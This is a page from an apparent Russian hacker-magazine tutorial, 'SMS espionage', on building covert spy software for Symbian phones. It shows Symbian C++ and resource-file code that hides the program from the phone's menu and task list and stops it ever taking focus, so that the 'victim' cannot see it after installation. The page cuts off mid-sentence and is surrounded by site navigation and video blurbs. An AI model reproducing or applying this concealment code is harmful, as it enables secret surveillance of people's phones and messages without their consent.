Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

Хакер № 09/06 (93)

Смс–шпионаж

Тарасов Дмитрий aka Dem@n

Хакер, номер #093, стр. 093-132-2


исключения C++, а введена своя метода, направленная на предотвращение утечек памяти. С этой же целью используются двухфазные конструкторы. Объекты принято создавать так:

CMySessionObserver* observer=new(ELeave) CMySessionObserver;

CleanupStack::PushL(observer);

Обрати внимание, что оператор new перегружен и используется с параметром ELeave, этот механизм позволяет аварийно завершить программу и высвободить системные ресурсы в случае, если оператору new не удалось адресовать необходимую память. После создания объекта указатель помещается на связанный с каждым потоком выполнения CleanupStack. Каркас приложения (application framework) состоит из четырех основных классов - Application, Document, AppUI и Container. Все они наследуются от системных классов и служат для, соответственно, создания документа приложения, создания UI, обработки событий, перерисовки приложения и других задач. Советую тебе изучить раздел "Application Framework" в документации. После компиляции и сборки проекта, приложение можно протестировать в эмуляторе. Думаю, как собрать инсталляционный файл для мобилы, ты разберешься :).

Теперь будем постепенно добиваться поставленной цели и сделаем наше приложение невидимым.

Делаем невидимку

Само собой, вряд ли наша система скрытого наблюдения будет представлять какую-то ценность, если после установки в телефон, жертва увидит его в меню или в Task Meneger. Поэтому сейчас мы немного припрячем нашу программу :). Как ты, скорее всего, уже знаешь, при сборке проекта создается aif-файл (application information file), который содержит информацию о нашей сборке. Для того, чтобы придать программе необходимые свойства, нужно модифицировать структуру AIF_DATA, находящуюся в файле OurMegaAppaif.rss, изменив в ней необходимые поля. Нас интересует поле hidden, которому нужно задать значение KAppIsHidden. Выглядит это примерно так:

RESOURCE AIF_DATA

{

app_uid=0x0871aba4; //уникальный идентификатор приложения

...

hidden = KAppIsHidden; //прячем иконку

}

После этого необходимо переопределить виртуальную функцию UpdateTaskNameL, которая отвечает за отображение приложения в тасклисте. Для этого добавляем в заголовочный файл документа строку в объявление класса Document:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После чего в реализацию класса документа добавляем:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) // конструкция :: играет роль namespace

{

CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL

aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа

aWgName->SetSystem(ETrue);

}

После этого в конструктор класса AppUI вписываем следующие строки:

void CXaSMSAppUi::ConstructL()

{

BaseConstructL();

CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус

CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);

...

}

Это необходимо для того, чтобы наше приложение никогда не могло получить фокус, даже если жертва найдет в файловой системе исполняемый

Назад на стр. 093-132-1  Содержание  Вперед на стр. 093-132-3


ВИДЕО К ЭТОМУ НОМЕРУ

Тотальный разнос ТВ
Главной герой ленты - молодой человек, страдающий психическими расстройствами. Свой гнев на весь белый свет он выплескивает в виртуальном мире в виде садистских надругательств над веб сайтами нескольких телевизионных компаний. На протяже...

Взлом за деньги
В этом ролике ты увидишь, как хакер выполняет заказ на взлом одного из крупных интернет-магазинов. Взломщику необходимо получить доступ к базе данных интернет-магазина. Сначала хакер находит SQL-инъекцию в движке форума магазина, а затем...

Антитроянские штучки
Итак, жизнь в сети полна опасностей и форс-мажорных обстоятельств. Никто не застрахован от червей, троянов и прочих маленьких "радостей". Последствия таких встреч тебя наверно мало радуют :). Но беда еще в том, что черви не толь...





Предыдущие номера


    Rambler's Top100